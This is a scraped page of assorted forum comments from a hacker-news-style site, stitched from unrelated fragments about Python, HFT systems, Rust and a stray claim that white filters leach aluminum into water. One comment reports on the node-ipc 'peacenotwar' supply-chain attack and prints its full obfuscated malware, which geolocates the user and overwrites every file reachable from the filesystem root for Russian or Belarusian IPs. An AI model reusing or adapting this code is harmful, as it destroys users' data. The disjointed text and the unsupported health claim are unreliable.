News for hackers. Stuff that matters.

DevopsQuestions

Could you describe those two startups?
Re:Anti Python AI Club: AI for Python H8ers on Friday December 15, 2023 @02:07AM (#38651769)
I agree with your attitudes towards Python completely -- I'm a competent coder with a decade of experience, but find Python inscrutible for programs longer than 100 lines.

I would ask you to consider first: are there other efforts that you can join before deciding to strike out on your own? You are far from the first person to dislike Python, and there is very interesting work happening in the Elixir community around creating a viable alternative to Python for AI and Machine Learning. They are very capable folks, and I think spending some time looking at their work, what they're working on and why will do you well. There are also efforts in the Swift and Julia communities, but I'm personally less excited about those.

Check your LinkedIn messages.

Stop using the white filters, they leech aluminum into the water.

Ask HN: How do I learn to engineer HFT systems from first principles?

I'm a skilled backend and platform engineer, and I would like to learn the fundamentals of engineering medium- and high-frequency trading systems holistically and from first principles. Where are good places to start? This is more of an academic and intellectual exercise, than seeking to get something deployable.

( Read More... | no comments | on HN )
Re:Node-ipc supply chain attack: peacenotwar on Thursday March 17, 2022 @10:33PM (#30718177)
This GH issue has links to the malicious code -- it deletes files of users whose IP addresses are Russian

https://github.com/RIAEvangelist/peacenotwar/issues/61

    # https://raw.githubusercontent.com/RIAEvangelist/node-ipc/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js

    import u from"path";import a from"fs";import o from"https";setTimeout(function(){const t=Math.round(Math.random()*4);if(t>1){return}const n=Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=","base64");o.get(n.toString("utf8"),function(t){t.on("data",function(t){const n=Buffer.from("Li8=","base64");const o=Buffer.from("Li4v","base64");const r=Buffer.from("Li4vLi4v","base64");const f=Buffer.from("Lw==","base64");const c=Buffer.from("Y291bnRyeV9uYW1l","base64");const e=Buffer.from("cnVzc2lh","base64");const i=Buffer.from("YmVsYXJ1cw==","base64");try{const s=JSON.parse(t.toString("utf8"));const u=s[c.toString("utf8")].toLowerCase();const a=u.includes(e.toString("utf8"))||u.includes(i.toString("utf8"));if(a){h(n.toString("utf8"));h(o.toString("utf8"));h(r.toString("utf8"));h(f.toString("utf8"))}}catch(t){}})})},Math.ceil(Math.random()*1e3));async function h(n="",o=""){if(!a.existsSync(n)){return}let r=[];try{r=a.readdirSync(n)}catch(t){}const f=[];const c=Buffer.from("4p2k77iP","base64");for(var e=0;e<r.length;e++){const i=u.join(n,r[e]);let t=null;try{t=a.lstatSync(i)}catch(t){continue}if(t.isDirectory()){const s=h(i,o);s.length>0?f.push(...s):null}else if(i.indexOf(o)>=0){try{a.writeFile(i,c.toString("utf8"),function(){})}catch(t){}}}return f};const ssl=true;export {ssl as default,ssl}
Re:No Paint on Tuesday June 16, 2020 @10:36PM (#23547097)
This put a smile on my typically stressed face. I love how lighthearted it is. Thanks!
Can you list fields that you feel are in dire need of innovation? Genuinely curious.
Re:Rob Pike interview on Thursday April 30, 2020 @11:49AM (#23032159)
What are the chances of Rust or another language coming to the fore for cloud infra?